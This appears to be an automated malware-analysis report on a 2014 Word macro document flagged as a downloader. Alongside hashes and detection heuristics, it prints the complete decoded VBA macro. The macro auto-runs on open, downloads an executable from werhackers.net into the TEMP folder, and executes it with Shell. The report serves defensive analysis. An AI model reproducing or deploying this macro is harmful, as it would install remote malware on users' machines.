Office (OLE) malware analysis — malicious · 3dd3a3c7b908f57d

MALICIOUS

Office (OLE)

29.5 KB Created: 2014-06-07 04:02:00 Authoring application: Microsoft Office Word First seen: 2014-06-15

MD5: f45986dd083e5ab86f0bca3d3619997a SHA-1: fb8532345683270479363857cbe36bcf4ec3d0f7 SHA-256: 3dd3a3c7b908f57da9f35aabd05ad6fa652073198445d549d59a5dd2b9722f3c

354 Risk Score

Heuristics 12

ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD

Reference to URLDownloadToFile API
VBA macros detected medium 7 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    HVKHLLHBVXH = Shell(XASNWLHWEKF, 1)
```

URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD

URLDownloadToFile in VBA

Matched line in script

    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal KYGREWKGWNS As Long, _

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
    Auto_Open
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
    PDICYRGRWCK "http://www.werhackers.net/windows.exe", Environ("TEMP") & "\VIXMUPXXCXH.exe"
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://www.werhackers.net/windows.exe Referenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1336 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1336 bytes
SHA-256: `3c42c235df3b37736d0c6360dc1b18610dd2f6904f2a3b7a332e693fc4dbad58`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Option Explicit #If Win64 Then Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal KYGREWKGWNS As Long, _ ByVal FTEELCCMUGN As String, ByVal RFNHQNHWFSP As String, ByVal PVBNKWVYEDW As Long, _ ByVal XQVWYJZDVHH As Long) As Long #Else Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal KYGREWKGWNS As Long, _ ByVal FTEELCCMUGN As String, ByVal RFNHQNHWFSP As String, ByVal PVBNKWVYEDW As Long, _ ByVal XQVWYJZDVHH As Long) As Long #End If Function PDICYRGRWCK(IXUMGZPBEDO As String, XASNWLHWEKF As String) As Boolean Dim MMSGKLHCCFC As Long MMSGKLHCCFC = URLDownloadToFileA(0, IXUMGZPBEDO, XASNWLHWEKF, 0, 0) If MMSGKLHCCFC = 0 Then PDICYRGRWCK = True Dim HVKHLLHBVXH HVKHLLHBVXH = Shell(XASNWLHWEKF, 1) End Function Public Sub XHADWFWZZHZ() PDICYRGRWCK "http://www.werhackers.net/windows.exe", Environ("TEMP") & "\VIXMUPXXCXH.exe" End Sub Sub Workbook_Open() Auto_Open End Sub Sub AutoOpen() Auto_Open End Sub Sub Auto_Open() XHADWFWZZHZ End Sub

SHA-256: 3c42c235df3b37736d0c6360dc1b18610dd2f6904f2a3b7a332e693fc4dbad58

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If Win64 Then
    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal KYGREWKGWNS As Long, _
ByVal FTEELCCMUGN As String, ByVal RFNHQNHWFSP As String, ByVal PVBNKWVYEDW As Long, _
ByVal XQVWYJZDVHH As Long) As Long
#Else
    Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal KYGREWKGWNS As Long, _
ByVal FTEELCCMUGN As String, ByVal RFNHQNHWFSP As String, ByVal PVBNKWVYEDW As Long, _
ByVal XQVWYJZDVHH As Long) As Long
#End If
Function PDICYRGRWCK(IXUMGZPBEDO As String, XASNWLHWEKF As String) As Boolean
    Dim MMSGKLHCCFC As Long
    MMSGKLHCCFC = URLDownloadToFileA(0, IXUMGZPBEDO, XASNWLHWEKF, 0, 0)
    If MMSGKLHCCFC = 0 Then PDICYRGRWCK = True
    Dim HVKHLLHBVXH
    HVKHLLHBVXH = Shell(XASNWLHWEKF, 1)
End Function
Public Sub XHADWFWZZHZ()
    PDICYRGRWCK "http://www.werhackers.net/windows.exe", Environ("TEMP") & "\VIXMUPXXCXH.exe"
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Auto_Open()
XHADWFWZZHZ
End Sub

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